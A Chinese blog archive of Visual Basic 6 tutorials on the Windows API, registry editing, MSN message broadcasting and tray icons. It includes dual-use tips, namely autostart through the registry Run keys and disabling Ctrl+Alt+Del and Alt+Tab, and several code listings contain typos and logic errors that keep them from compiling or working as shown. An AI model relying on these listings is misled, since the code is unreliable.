xhEditor是一个基于jQuery开发的简单迷你并且高效的可视化XHTML编辑器.基于网络访问并且兼容IE 6.0+,Firefox 3.0+,Opera 9.6+,Chrome 1.0+,Safari 3.22+.xhEditor完全基于Javascript开发,可以应用在任何的服务端语言环境下如PHP、ASP、ASP.NET、JAVA等.可以在任何互联网平台上完美的嵌入运行,能够非常灵活简单的和您的系统实现完美的无缝衔接.下载地址:http://xheditor.googlecode.com/files/xheditor-1.0.0-final.zip
Tags: VB编程
MSN是目前网络上广泛使用的一个即时信息交流工具(IM),笔者就常用它与同事或朋友联系,但是在使用过程中发现缺乏一个群发信息的功能,于是笔者寻思着自己编写一个MSN信息群发的软件,在查阅了一番资料之后,终于写出来了。下面大家和我一起动手来自己做一个MSN的信息群发工具。
第一步:新建一个工程。启动VB,选择“文件”菜单的“新建”子菜单新建一个VB工程,系统回自动添加一个窗体,并且取名叫Form1。
第二步:添加MSN接口的引用。点击VB的IDE环境的菜单中的工程菜单,在弹出的下拉菜单中选择“引用(N)…”子菜单。在弹出的“引用”窗体中的“可用的引用”下拉列表中找到“Messenger API Type Library” 项,将起前面的钩打上,然后关闭“引用”窗口。
第三步:设置窗体,添加控件。首先在vb的工程管理器中双击Form1,打开窗体设计环境。选中窗体,将它的Caption值改为“MSN消息群发”。然后在窗体上添加控件,并且设置其初始属性。要添加的控件的信息见下表:
名称 类型 Caption属性的值
Label1 Label 群发对象:
Combo1 ComboBox
Check1 CheckBox 只发送在线的
Label2 Label 消息内容:
Text1 TextBox
Command1 CommandButton 发送[&O]
Command2 CommandButton 退出[&X]
添加完控件后调整其位置,
第四步:编写代码。
Dim m_MSG As New MessengerAPI.Messenger 'MSN的Com对象
Dim m_Groups As MessengerAPI.IMessengerGroups 'MSN中的分组
Dim m_Group As MessengerAPI.IMessengerGroup 'MSN中组的内容
Dim m_Contracts As MessengerAPI.IMessengerContacts 'MSN中的所有的好友的信息
Dim m_Contract As MessengerAPI.IMessengerContact 'MSN中每个好友对象的内容
Private Sub Command1_Click()
Dim i As Integer
'检测需要发送的信息是否合法
If Trim(Text1.Text) = "" Then
MsgBox "发送的信息不能为空!", vbInformation, "提示"
Text1.SetFocus
Exit Sub
End If
'判断消息的发送对象是全部好友还是某个组的成员
If Combo1.ListIndex = 0 Then
Set m_Contracts = m_MSG.MyContacts
Else
Set m_Groups = m_MSG.MyGroups
Set m_Group = m_Groups.Item(Combo1.ListIndex – 1)
Set m_Contracts = m_Group.Contacts
End If
'遍历要发送的对象,发送信息
For i = 0 To m_Contracts.Count – 1
Set m_Contract = m_Contracts.Item(i)
If Check1.Value = 1 Then
If m_Contract.Status = 2 Then
m_MSG.InstantMessage m_Contract '打开要发送的好友窗体
DoEvents
SendKeys Text1.Text '写入信息
DoEvents
SendKeys "{enter}" '发送出信息
DoEvents
SendKeys "%{F4}" '关闭好友窗口
End If
Else
m_MSG.InstantMessage m_Contract
DoEvents
SendKeys Text1.Text
DoEvents
SendKeys "{enter}"
DoEvents
SendKeys "%{F4}"
End If
Next i
'成功发送完毕信息
If MsgBox("发送完毕!是否清空消息?", vbInformation + vbYesNo, "提示") = vbYes Then
Text1.Text = ""
Text1.SetFocus
Else
Text1.SetFocus
End If
End Sub
Private Sub Command2_Click()
Unload Me
End
End Sub
'初始化控件
Private Sub Form_Load()
Dim i As Integer
'初始化发送对象的下拉框
Set m_Groups = m_MSG.MyGroups
With Combo1
.AddItem "全部的组"
For i = 0 To m_Groups.Count – 1
Set m_Group = m_Groups.Item(i)
.AddItem m_Group.Name
Next i
.ListIndex = 0
End With
End Sub
'释放变量
Private Sub Form_Unload(Cancel As Integer)
Set m_MSG = Nothing
Set m_Groups = Nothing
Set m_Group = Nothing
Set m_Contracts = Nothing
Set m_Contract = Nothing
End Sub
第五步:编译运行。选择“文件”菜单的生成“工程1.exe”菜单项,一个属于你的MSN信息群发软件就完成了。
Tags: VB编程
Vb6里面数组的使用的小例子
(1):动态数组的使用
(1.1):首先声明数组的类型
语法为dim a() as integer
(1.2):使用的时候定义数祖的下标和上标
语法为redim a(1 to 5),表示数组的小标为1,上标为5。
(1.3):赋值
举例如
dim I as integer
for i=0 to 5
a(i)=i
next i
(1.4):动态数组的使用
举例如:
dim j as integer
for j=0 to 5
me.list1.additem a(i)
next j
注意重新使用的时候不用重新分配数组的上标和下标
动态数组的使用中有几个要点:
分配数组的下标和上标的时候必须要在赋值以前,否则出现值为0的情况
如:
dim I as interger
for i=0 to 5
redim a(0 to 5)
a(i)=i
next i
出来的值为(0,0,0,0,0,5),此结果为什么这样?:)
Tags: VB编程
VB中创建的DLL只是COM组件,无法作为输出函数的DLL,其实这只是个错误的说法。其实MS非常狡猾,如果你是个VB疯狂发烧友的话,应该早就狂试出这种可以创建输出函数的DLL的方法。
VB编译文件实际上采取了两次编译的方法,首先是调用C2.exe产生*.OBJ文件,然后调用Link.EXE连接。如果在LINK的时候添加EXPORT选项,实际上是可以输出函数的。但是,在VB的工程选项中将这些屏蔽了。而且过分的是:VB在Build完成后会将OBJ文件删除,这样就无法手动通过Link来创建我们需要的DLL了。不过我找到一个比较龌鹾的变通的方法,就是先创建一个Exe工程,在Form_Load事件里面写下面的语句:
Sub Main
If MsgBox("哈哈", vbOKCancel) = vbOK Then
Shell "link2.exe " & Command$
End If
End Sub
然后编译为LinkTemp.EXE,接下来将LINK.EXE改名为Link2.exe,将LinkTemp.EXE改名为Link.EXE。这样在VB调用Link.EXE时会弹出对话框,处理就会中断。这时就可以有机会将OBJ文件拷贝出来了。
然后我创建了一个ActiveX DLL工程,在这个工程里面添加一个Module并创建一个Public函数mathadd:
Public Function mathadd(ByVal a As Long, ByVal b As Long) As Long
mathadd = a + b
End Function
编译这个工程,在Link的时候就会中断。然后把创建的Class1.obj、Module1.obj、Project1.obj备份出来。
然后就可以调用Link2.exe连接OBJ到DLL了,我的连接代码是:
Link2.exe "e:\vbdll\Class1.obj" "e:\vbdll\Module1.obj" "e:\vbdll\Project1.obj" "E:\Program Files\Microsoft Visual Studio\VB98\VBAEXE6.LIB" /ENTRY:__vbaS /EXPORT:mathadd /OUT:"e:\vbdll\ProjectOK.dll" /BASE:0×11000000 /SUBSYSTEM:WINDOWS,4.0 /VERSION:1.0 /Dll /INCREMENTAL:NO /OPT:REF /MERGE:.rdata=.text /IGNORE:4078
注意里面的/ENTRY和/EXPORT开关,/EXPORT开关声明了输出函数mathadd。这样就大功告成了,可以被其他语言引入,例如在VB中,只需要:
Private Declare Function mathadd Lib "e:\vbdll\ProjectOK.dll" (ByVal a As Long, ByVal b As Long) As Long
经过变通,VB可以做出输出函数的标准动态链接库——其实,国外早已经有人做出了在VB中制作标准DLL的Add-Ins了,使用非常方便,我也做过测试,证明确实可行。
Tags: VB编程
在某些情况下我们需要某个窗体总是在所有窗体的最前端,我们可以使用Form1.show 1来实现,但是这样会出现一个问题,就是使整个程序暂停运行,直到Unload Form1后程序才会继续运行.
那么如何使我的窗口总在最前?而不影响到我的整体程序运行呢?
使用api函数 SetWindowPos 可以很容易的作到。
SetWindowPos 就是完成设置窗口位置和状态(pos=position)的功能。源代码如下:
Option Explicit
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Const HWND_TOPMOST& = -1
' 将窗口置于列表顶部,并位于任何最顶部窗口的前面
Private Const SWP_NOSIZE& = &H1
' 保持窗口大小
Private Const SWP_NOMOVE& = &H2
' 保持窗口位置
Private Sub Form_Load()
SetWindowPos Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE or SWP_NOSIZE
' 将窗口设为在所有窗口前端
End Sub
Tags: VB编程
VB作为快速开发Windows下的编程工具,已经为越来越多的开发者采用。但如果要开发出专业的Windows软件,还需采用大量的API函数,以下结合笔者开发管理软件的经验谈几点体会。
程序中判定Windows的版本
众所周知,Windows3.x各版本或多或少会有些差别,为了使开发程序避免出现莫名其妙的错误,最好在程序运行前自动判定Windows的版本。采用API提供的函数getversion很容易实现这一点。函数声明如下:
Declare Function GetVersion Lib"Kernel"() As Integer
此函数没有参数,返回值为Windows的版本号,其中版本号的低位字节为Windows的主版本号,版本号的高位字节返回Windows的次版本号。判别过程如下:
Private Sub Form_Load ()
Dim ver As Integer
Dim major As Integer
Dim minor As Integer
Ver = GetVersion ()
major = ver And &HFF
minor = (ver And &HFF00) \ 256
If major <> 3 And minor <> 10 Then
MsgBox "版本不正确!"
Exit Sub
End If
End Sub
程序中判断Windows的安装目录
一般VB开发出来的程序包含vbrun300.dll等辅助文件和.vbx文件,它们均需安装到Windows目录(c:\windows)或Windows的系统目录(c:\windows\system)下,但因为用户安装Windows时可能会改变Windows的目录名(如c:\windows),使用安装软件后,不能正确运行.API中提供的GetwinDowsdirectory或GetSystemDirectory较好地解决了这个问题。函数声明如下:
Declare Function GetSystemDirectory Lib "Kernel"(ByVal lpBuffer As
String,ByVal nSize As Integer) As Integer
其中参数lpbuffer为字串变量,将返回实际Windows目录或Windows的系统目录,nsize为lpbuffer的字串变量的大小,函数返回值均为实际目录的长度。检查函数如下:
Function checkdir() As Boolean
Dim windir As String * 200
Dim winsys As String * 200
Dim winl As Integer
Dim wins As Integer
Dim s1 As String
Dim s2 As String
winl = GetWindowsDirectory(windir,200)
winl = GetSystemDirectory(winsys,200)
s1 = Mid $(windir,1,winl)
s2 = Mid $(winsys,1,wins)
If Wins = 0 or wins = 0 Then
checkdir = False
Exit Function
End If
If s1 <> "C:\WINDOWS" or s2 <> "C:\WINDOWS\SYSTEM" Then
checkdir = False
Exit Function
End If
checkdir = True
End Function
shell 出现的问题
通常编程时要调用外部程序,VB提供了shell()函数,但是如果shell调用的外部程序找不到,则运行的程序失去控制,VB给出提示"filenotfound",改变这种现象,要在程序中加入onerrorgoto,比较麻烦,API函数中的winexec很好地解决了这个问题。函数声明如下:
Declare Function WinExec Lib "Kernel"(ByVal lpCmdLine As String,
ByVal nCmdShow As Integer) As Integer
其中lpCmdline为调用的外部文件名,NcmdShow为外部程序的运行状态,如隐藏窗口、最小化窗口等等。如返回值大于32表示执行功能,否则返回错误码。例程如下:
sub command1_click
ds i as integer
i=winexec("notepad.exe","c:\wst.txt",9)
'参数9 即SW_RESTORE,也就是激活并显示窗口
if i>32 then
msgbox "调用正确!!"
else
msgbox "调用错误!!"
end if
end sub
Tags: VB编程
一. 注册表的API编程
关于注册表的知识相信您通过前面专题的介绍已经有了较深入的了解。系统有六个预定义好的关键字,这六个关键字是用户或系统访问注册表的入口点。我们常用到的只有前四个关键字。而在编程时我们一般用到只是HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE这两个关键字,因为与应用程序相关的数据存在于这两个关键字下。
许多商品化的软件或专业化的软件在您的机器上首次安装的时候都会通过改写注册表来完成软件的正确安装运行,梦想成为编程高手的你当然需要掌握读写注册表这一技术。利用好注册表会为您的应用程序增色不少。
虽然VB本身提供了四个关于注册表的函数GetSetting,SaveSetting、GetAllSettings、DeleteSetting(这四个函数的使用比较简单读者可以参考VB的联机帮助),但是这四个函数只能在“HKEY_CURRENT_USER\Software\VB and VBA ProgramSettings”下读取、删除、修改键值。对于一般的应用程序利用它们可以达到您的目的,对于特殊的要求利用它们就显的无能为力了。下面举一个例子说明它们的局限性。
熟悉DOS操作系统的读者都知道,可以编写一个“Autoexec.bat”的批处理文件来实现某一个应用程序在系统启动的时候自动运行,在Win95中我们可以把应用程序的快捷方式放到系统的启动组中来达到同样的效果。但是,假如我需要在我的应用程序首次安装以后就能自动达到这种效果,那该如何呢?其实,注册表中提供了三个这样的键:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
这三个键字的区别是:
Run:此键字下的应用程序在系统启动的时候会自动运行;
RunOnce:此键字下的应用程序在系统下一次启动的时候会自动运行,以后不再运行;
RunServices:功能和“Run”一样,只是应用程序被启动的时候不同而已。
现在您一定知道该如何利用注册表达到您的要求了。实际上许多安装软件在安装向导完成后要您重新启动才能完成最终的安装。它就是把安装向导所需做的最后工作的程序写到“RunOnce”下实现的。但是,若只利用VB本身的那四个函数显然是无法实现此功能的。笔者在实践中通过调用API函数很好地解决了VB本身访问注册表的局限性,并把它做成了一个类模块。所以调用起来非常方便。由于篇幅有限我只能从中抽取一部分来讲,这一部分也是可以独立运行的。读者想要完整的源代码请与我联系(yue_xiang@263.net)。
下面是应该放到您的模块中的声明部分代码:
Option Explicit
'注册表的入口常量
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_USERS = &H80000003
'注册表的访问权限常量
Public Const KEY_QUERY_VALUE = &H1
Public Const KEY_SET_VALUE = &H2
Public Const KEY_Create_SUB_KEY = &H4
Public Const KEY_ENUMERATE_SUB_KEYS = &H8
Public Const KEY_NOTIFY = &H10
Public Const KEY_Create_LINk = &H20
Public Const KEY_ALL_ACCESS = &H3F
'打开/建立键值的可选项常量
Public Const REG_OPTION_NON_VOLATILE = 0&
Public Const REG_OPTION_VOLATILE = &H1
'建立新键或打开已存在的键常量
Public Const REG_CreateD_NEW_KEY = &H1
Public Const REG_OPENED_EXISTING_KEY = &H2
'预先定义的访问注册表的权限常量
Public Const STANDARD_RIGHTS_ALL = &H1F0000
Public Const SPECIFIC_RIGHTS_ALL = &HFFFF
'API的返回代码常量
Public Const ERROR_SUCCESS = 0&
Public Const ERROR_ACCESS_DENIED = 5
Public Const ERROR_NO_MORE_ITEMS = 259
'返回数值类型常量
Public Const REG_NONE = (0)
Public Const REG_SZ = (1)
Public Const REG_EXPAND_SZ = (2)
Public Const REG_BINARY = (3)
Public Const REG_DWORD = (4)
PubliC ConSt REG_DWORD_LITTLE_ENDIAN = (4)
Public Const REG_DWORD_BIG_ENDIAN = (5)
Public Const REG_LINK = (6)
Public Const REG_MULTI_SZ = (7)
Public Const REG_RESOURCE_LIST = (8)
Public Const REG_FULL_RESOURCE_DESCRIPTOR = (9)
Public Const REG_RESOURCE_REQUIREMENTS_LIST = (10)
'访问注册表的API函数要用到的结构类型
Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Boolean
End Type
Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
'要用到的API函数声明
…………
(鉴于篇幅这里只介绍一下各API的作用而不再一一列其声明;相关声明请读者查阅API浏览器)
下面简单地介绍一下这几个API:
RegOpenKeyEx():打开指定的关键字(32位);
RegSetValueEx():在打开的注册表关键字的值域中存储数据;
RegCloseKey():释放指定的关键字的句柄;
RegQueryValueEx():在注册表中查找与您指定的键值相关的值;
RegCreateKeyEx():建立并打开指定的关键字,若已存在则打开它;
RegEnumKeyEx():枚举指定的打开注册表关键字的子关键字(32位);
RegEnumKey():同上功能一样,区别在于它是16位的;
RegEnumValue():每次调用枚举指定的打开注册表关键字的值复制一个带索引的值的名称和数据块;
RegDeletekey():删除一个关键字以及它的子关键字;
RegDeleteValue():在指定的注册表关键字中删除一个带名字的值。
通过调用这些API我们可以轻松实现注册表的任意关键字的读取、查询、建立、删除。笔者在这里只打算介绍一下如何建立和删除一个特定的关键字。其它操作读者可以自己去发挥。
例如:要在HKEY_LOCAL_MACHINE\Network下建一个“MyApi”子键并在它的下面建立一个称为“yx”的值域,把它的值设为“yue1975”。我们应该按如下的方法调用API:
Dim phkResult As Long '保存建立的关键字句柄
Dim Iresult As Long
Dim SA As SECURITY_ATTRIBUTES
Dim 1Create As Long
'建立一个指定的关键字
caII RegCreateKeyEx(HKEY_LOCAL_MACHINE,"Network\MyApi",0,"",REG_OPTION_NON_VOLATILE, _
KEY_ALL_ACCESS,SA,phkResult,1Create)
1Result=RegSetValueEx(phkResult,"yx",0,REG_SZ,"yue1975",Clng(Len("yue1975")+1))
'关闭关键字
RegCloseKey phkResult
现在用注册表编辑器去查看一下注册表,一定生成了您所需的键值。
再例如:现在我想把刚才建立的键值删掉,那您只需如下调用即可:
dim success as long
success=RegDeleteKey(HKEY_LOCAL_MACHINE,"Network\MyApi")
二. 用API生成平面工具条
相信许多VB爱好者都曾千方百计地想使自己的工具条像Word97中的工具条一样COOL起来。往往我们不得不去借用别人做好的ActiveBar控件,这样先不说自己的程序变得大了,而且说实话那个控件并不好用。笔者在用VC5编程的时候用基类函数SendMessageLong()、FindWindowEx()轻松实现了这种COOL的效果。受此启发在VB5中调用这两个API也实现了同样的效果。下面是源代码:
把以下程序加到您的模块中:
'———————-
'常量声明
'———————-
Public Const WM_USER = &H400
'用户自定义消息的起点
Public Const TB_SETSTYLE = WM_USER + 56
'设置工具条风格消息
Public Const TB_GETSTYLE = WM_USER + 57
'取得工具条风格消息
Public Const TBSTYLE_FLAT = &H800
'使工具条COOL起来
Public Const TBSTYLE_TOOLTTPS = &H100
Public Const TBSTYLE_WRAPABLE = &H200
Public Const TBSTYLE_ALTDRAG = &H400
Public Const TBSTYLE_LIST = &H1000
Public Const TBSTYLE_CUSTOMERASE = &H2000
'—————–
'API函数声明
'—————–
Public Declare Function SendMessageLong Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long,
ByVal wMsg As Long,ByVal wParam As Long,ByVal 1Param As Long) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long,
ByVal hWnd2 As Long,ByVal 1psz1 As String,ByVal 1psz2 As String) As Long
'———————–
'通用生成平面工具条过程
'入口:工具条的名字
'———————–
Public Sub FlatBar(ByVal tb As Toolbar)
Dim style As Long
Dim hToolbar As Long
Dim r As Long
'获的工具条窗口句柄
hToolbar = FindWindowEx(tb.hwnd,0&,"ToolBarWindow32",vbNullString)
'获的当前工具条的风格
style = SendMessageLong(hToolbar,TB_GETSTYLE,0&, 0&)
If style And TBSTYLE_FLAT Then
style = style Xor TBSTYLE_FLAT
Else
style = style or TBSTYLE_FLAT
End If
'设置工具条的平面风格
r=SendMessageLong(hToolbar,TB_SETSTYLE,0, style)
tb.Refresh
End Sub
过程FlatBar()的调用方法:
1 . 在你的窗体上添加Toolbar控件(命名为:myTB)和ImageList控件。按通常的方法一样在ImageList中播入几个图标并和Toolbar绑定建立一个平常的工具条。
2 . 在窗体的Load()事件中调用FlatBar()
Call FlatBar(myTB)
3. 运行,您的工具条一定COOL起来了。
Visual Basic以友好易学的可视化开发环境闻名于 世,成为人们学习计算机编程的首选语言。目前,全世界 大概有300多万人使用着Visual Basic语言。如果您想在 这茫茫众生中出类拔萃,那么您就不得不学习API (Application Program lnterface,即Windows的应用程 序编程接口)编程。不懂API,那可成不了高手。
第一节:API基础
API说到底就是一系列的底层函数,是系统提供给 用户用于进入操作系统核心,进行高级编程的途径。通 过在Visual Basic应用程序中声明外部过程就能够 访问Windows API(以及其它的外部DLLs)。在声明 了过程之后,调用它的方法与调用Visual Basic自 己的过程相同。要声明一个DLL过程,需要在代码窗 口的"声明"部分增加一个Declare语句,如果该过 程返回一个值,应将其声明为Function。例如:
Declare Function publicname Lib "libname" [Alias "alias"] [([[ByVal] variable [As type] [,[ByVal] variable [As type]]…])] As Type
如果过程没有返回值,可将其声明为Sub。
缺省情况下,在标准模块中声明的DLL过程,可 以在应用程序的任何地方调用它。在其他类型的模块 中定义的DLL过程是模块私有的,必须在它们前面 加上Private关键字,以示区分。特别提请注意的 是,在32位的Visual Basic中过程名是区分大小 写的。而在以前的16位版本中并不区分大小写,这 是初学者容易出错的地方。
Declare语句中的Lib子句用来告诉Visual Basic如何找到包含该过程的dll文件。如果引用的过 程属于Windows核心库(User32、Kernel32或 GDI32),则可以不包含文件扩展名。例如:
Declare Function GetTickCount Lib "kernel32" Alias "GetTickCount"() As Long。对于其它DLL, Lib子句须指定文件的路径及扩展名。
如果调用的Windows API过程要使用字符串,那 么在声明语句中必须增加一个Alias子句,以指定 正确的字符集。包含字符串的Windows API函数实 际有两种格武ANSI格式Unicode格式。因此,在 Windows头文件中,每个包含字符串的函数都同时有 ANSI版本和Unicode版本。
例如,下面是SetWindowText函数的两种C语言描 述。可以看到,第一个描述将函数定义为SetWindowTextA, 尾部的"A"表明它是一个ANSI函数:
SetWindowTextA(HWND hWnd,LPCSTR lpString);
第二个描述将它定义为SetWindowTextW,尾部的 "w"表明它是一个Unicode函数:
SetWindowTextW(HWND Hwnd,LPCWSTR lpString);
因为两个函数实际的名称都不是"SetWindow Text",要引用正确的函数就必须增加一个Alias子句:
Private Declare Function SetwindowText Lib "user32" Alias "SetWindowTextA"(ByVal hwnd As Longg,ByVal lpString As String) As Long
请注意, Alias子句后面的字符串必须是过程的 真正名称,必须是区分大小写的。事实上,您只需要 记住,只有Windows NT才支持Unicode格式,而 Windows 95只支持ANSI格式就行了。至于两者的区 别,作一般的应用程序开发是不需要了解的。
VB5专业版在VB目录的\Winapi子目录下,用几 个文件提供了关于API的信息。 Win32api.txt文件中 包含了32位Windows API函数中用到的函数和类型的 结构声明以及全局常量的值。用户可以用VB本身带的外 接程序"API浏览器"来方便地使用Win32api.Txt,如下 所示:
点击菜单文件项的"加载文本文件…"从VB目 录下的WINAPI目录中选择"WIN32API.TXT",就可以 查看WINDOWS 95系统的API函数的声明、常数定义和 数据类型了。例如,我们打算查看函数InverRect() 的声明。首先,点击"搜索"按钮,输入字符串 "InverRect"。在"可选项"栏中,兰色的亮度条将移 动到"InverRect"项上。再点按"添加"按钮,在"选 定项"中就出现"InverRect"在Visual Basic中的 声明了。接下来自然是点按"复制"按钮,然后将窗 口切换到Visual Basic开发环境中,在需要声明API 函数的地方Ctrl+V(粘贴)即可。
上面所讲的声明方法虽然简单,但只有使用WIN DOWS本身的API函数才能这样。对于第三方提供的动 态链接库(DLL)您只有用键盘老老实实地敲了。
第二节:牛刀小试
现在读者一定很想自己亲自试一下,下面举两个 实际应用的例子让大家体会一下API的妙用吧!
1.使一个窗体始终保持在屏幕的最上面
我们知道VB本身自带的函数是难以完成此功能 的,我们可以通过调用Windows的API函数: SetWindowPos达到我们的要求。操作步骤如下:
(1)启动VB5建立一个新工程,在该工程中添加一 个模块(Moudel),在该模块中用上述的"API例览器" 添加如下的该API函数的函数声明和常量声明部分:
'API函数声明
Declare Function SetWindowPos Lib "user32" Alias "SetWindowPos" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
'常量声明
Global Const SWP_HIDEWINDOW = &H80
Global Const SWP_NOACTIVATE = &H10
Global Const SWP_NOCOPYBITS = &H100
Global Const SWP_NOMOVE = &H2
Global Const SWP_NOOWNERZORDER = &H200
Global Const SWP_NOREDRAW = &H8
Global Const SWP_NOREPOSITION = SWP_NOOWNERZORDER
Global Const SWP_NOSIZE = &H1
Global Const SWP_NOZORDER = &H4
Global Const SWP_SHOWWINDOW = &H40
Global Const HWND_BOTTOM = 1
Global Const HWND_BROADCAST = &HFFFF&
Global Const HWND_DESKTOP = 0
Global Const HWND_NOTOPMOST = -2
Global Const HWND_TOPMOST = -1
Global Const HWND_TOP = 0
Global Const Flags=SWP_NOMOVE or SWP_NOSIZE
这里以"SWP_"开头的常量是表示窗体所具有的 风格,这些常量可以通过VB中的"OR"操作符组合在 一起。而以"HWND_"开头的常量表示窗体在桌面上的 位置。从这些常量的英文单词的意义上读者应该很容 易理解他们所具有的风格了。所以笔者就不一一去说 明了。至于为什么要添加这些常量而不是别的这就要 您去查看Windows SDK关于该函数的帮助文档了。当 然这对于初学者来说有一定的难度,但不要畏惧,只 要您仔细看帮助就会慢慢搞懂的。因为这些API函数 是为C和C++的编程人员编写的,所以如果您懂一点 C++的话会很容易理解的。
(2)现在只要在您想要此功能的地方调用该函数 就可以了,调用的方法如:
Dim Success as Long
SuccesS=SetwindowPos(me.HWnd. HWND_TOPMOST,0,0,0,0,FLAGS)
若Success返回的值不等于零则表示调用成功。
比如在某个窗体的Load事件中加入上述的两行代 码,就可以达到使该窗体始终位于屏幕最上面的目的。
细心的读者可能已经发现上面的例子中的模块声 明中声明了好几个常量,可为什么只用到三个呢?现 在您可以试着改变一下API函数"SetWindowPos"中 的第二个参数或常量FLAGS中的项,看看您的窗体会 出现什么样的效果?
2.VB5中如何屏蔽掉win95中的CTRL_ALT_DEL, CTRL_ESC, ALT_TAB三组热键通过调用API函数"SystemParametersInfo"来实 现。
首先创建一新工程;在此工程中添加一个窗体和 一个模块;在窗体上拖放两个按钮分别命名为 "cmdDisable","cmdEnable";Copy如下代码入模块中:
Public Declare Function SystemParametersInfo Lib "user32" Ahias "SystemParametersInfoA" (ByVal uAction As Long,ByVal uParam As Long, lpvParam As Any,ByVal fuWinIni As Long)AS Long
Public Const SPI_SCREENSAVERRUNNING=97
在窗体的代码编辑区Copy如下代码:
'使三组热键失效
Private Sub cmdDisable_click()
SystemParametersInfo
SPI_SCREENSAVERRUNNING,True,byVal 1&,0
End Sub
Private Sub Form_Unload(Cancel As Integer)
'程序退出前是热键有效
CndEnable_Click
End Sub
若将此功能和屏幕保护程序结合到一起,那您的屏幕 保护程序一定增色许多。
API函数的简单调用例子就是这么容易,相信现在您 对API的调用已不再感到神秘了,接下来我们就看看一个 比较复杂的应用。
第三节:高手进阶
上面的关于API的调用的例子只是为了带您去Win dows API世界中去探索一下。相信您已探索到了一点眉 目并想去实现一些更"好玩"的东西了。好!下面就向您 介绍一个很"好玩"同时又会使您的程序看起来更专业化 的一个API调用。
相信您的机器上一定装有"金山词霸",试着启动它 您发现了什么?启动画面过后它"不见了"。把鼠标移到 桌面的右下角,原来它以图标的形式"藏在" Windows 的托盘中。用鼠标右击它还会弹出一个菜单功能项供您 选择。现在您一定想把自己的程序也放到托盘,这样您的 程序多具有专业水准!
下面是此功能的实现步骤:
1.这里我们调用的API函数是: "Shell_NotifyIcon",在您的模块中添加如下的函数声明 和常量声明:
'以下常量告诉系统在托盘中您的图标上发生了什么 操作
'常量声明
Public Const WM_MOUSEMOVE = &H200 '在图标上移动鼠标
Public Const WM_LBUTTONDOWN = &H201 '鼠标左键按下
Public Const WM_LBUTTONUP = &H202 '鼠标左键释放
Public Const WM_LBUTTONDBLCLK = &H203 '双击鼠标左键
Public Const WM_RBUTTONDOWN = &H204 '鼠标右键按下
Public Const WM_RBUTTONUP = &H205 '鼠标右键释放
Public Const WM_RBUTTONDBLCLK = &H206 '双击鼠标右键
Public Const WM_SETHOTKEY = &H32 '响应您定义的热键
'API函数声明
Public Declare Function Shell_NotifyIcon Lib "shell32.dll" Alias " Shell_NotifyIconA" (ByVal dwMessage As Long, lpData As NOTIFYICONDATA) As Long
'自定义一个调用API Shell_NotifyIcon要用到的类 型"NOTIFYICONDATA"
Public Type NOTIFYICONDATA
cdSize As Long 'NOTIFYICONDATA类型的大小
hwnd As Long '你的应用程序窗体的名柄
uId As Long '应用程序图标资源的ID号
uFlags As Long '使那些参数有效它是以下枚举类型中的
'NIF_MESSAGE、NIF_ICON、NIF_TIP三组的组合
uCallbackMessage As Long '鼠标移动时把此消息发给该图标的窗体
hIcon As Long '图标名柄
szTip As String*64 '当鼠标在图标上时显示的Tip文本
End Type
'这是一个枚举类型它告诉API Shell_NotifyIcon去做什么操作
Public Enum enm_NIM_Shell
NIM_ADD=&H40 '在“金碟”中加一图标
NIM_MODIFY=&H1 '修改“金碟”中的图标
NIM_Delete=&H2 '删除“金碟”中的图标
NIF_MESSAGE=&H1 '使类型"NOTIFYICONDATA"中的uCallbackMessage有效
NIF_ICON=&H2 '使类型"NOTIFYICONDATA"中的hIcon有效
NIF_TIP=&H4 '使类型"NOTIFYICONDATA"中的szTip有效
WM_MOUSEMOVE=&H200 '使鼠标移动消息有效
End Enum
'定义一个"NOTIFYICONDATA"类型的变量
Public nidProgramData As NOTIFYICONDATA
以上是函数及常量声明和自定义的一个类型变量,下 面是此API函数的调用方法:
2. 在窗体上用菜单编辑一个具有如下信息的菜单项:
主菜单:无标题、名称(mainMenu)
子菜单:标题(API编程)、名称(submnul);
标题(退出)、名称(submnu2).
这里只是举个例子,具体的功能你可以根据你的具体需要来编辑此菜单项
3. 在窗体的Load事件中添加如下代码:
Private Sub Form_Load()
'隐藏窗体
With Me
.Top =-10000
.Left = -10000
.WindowState = vbMinimized
End With
'设置类型NOTIFYICONDATA所具有的特征
With nidprogramData
.cbSize = Len(nidProgramData)
.hwnd = Me.hwnd .uld = vbNull
.uFlags = NIF_ICON or NIF_TIP or NIF_MESSAGE
'触发鼠标移动消息
.uCallbackMessage = WM_MOUSEMOVE
.hIcon = Me.Icon '“托盘”中放入窗体图标,你可以把窗体的图标换成你所喜欢的图标
.szTip ="VB 的 Win32 API 编程" & vbNullChar
End With
'调用该函数
Shell_NotifyIcon NIM_ADD,nidprogramData
End Sub
'根据不同的鼠标消息做不同的操作
Private Sub Form_MouseMove(Button As inte ger, Shift As lnteger, x As Single, Y As Single)
On Error GoTo Form_MouseMove_err:
Dim Result As Long
Dim msg As Long
'X的值依赖与显示模式的设置
If Me.ScaleMode = vbpixels Then
msg = x
Else
msg = x/Screen.TwipsPerPixe1X
End If
Select Case msg
Case WM_LBUTTONUP
'在这里加入鼠标左键释放时你想做的操作
Case WM_LBUTTONDBLCLK
'在这里加入双击鼠标左键时你想做的操作
Case WM_RBUTTONUP
'通常这里弹出你的功能菜单
PopupMenu mainMenu
Case WM_MOUSEISMOVING
'在这里加入鼠标正在移动时你想做的操作
End Select
Exit Sub
Form_MouseMove_err:
'在这里加入你的处理异常错误的代码
End Sub
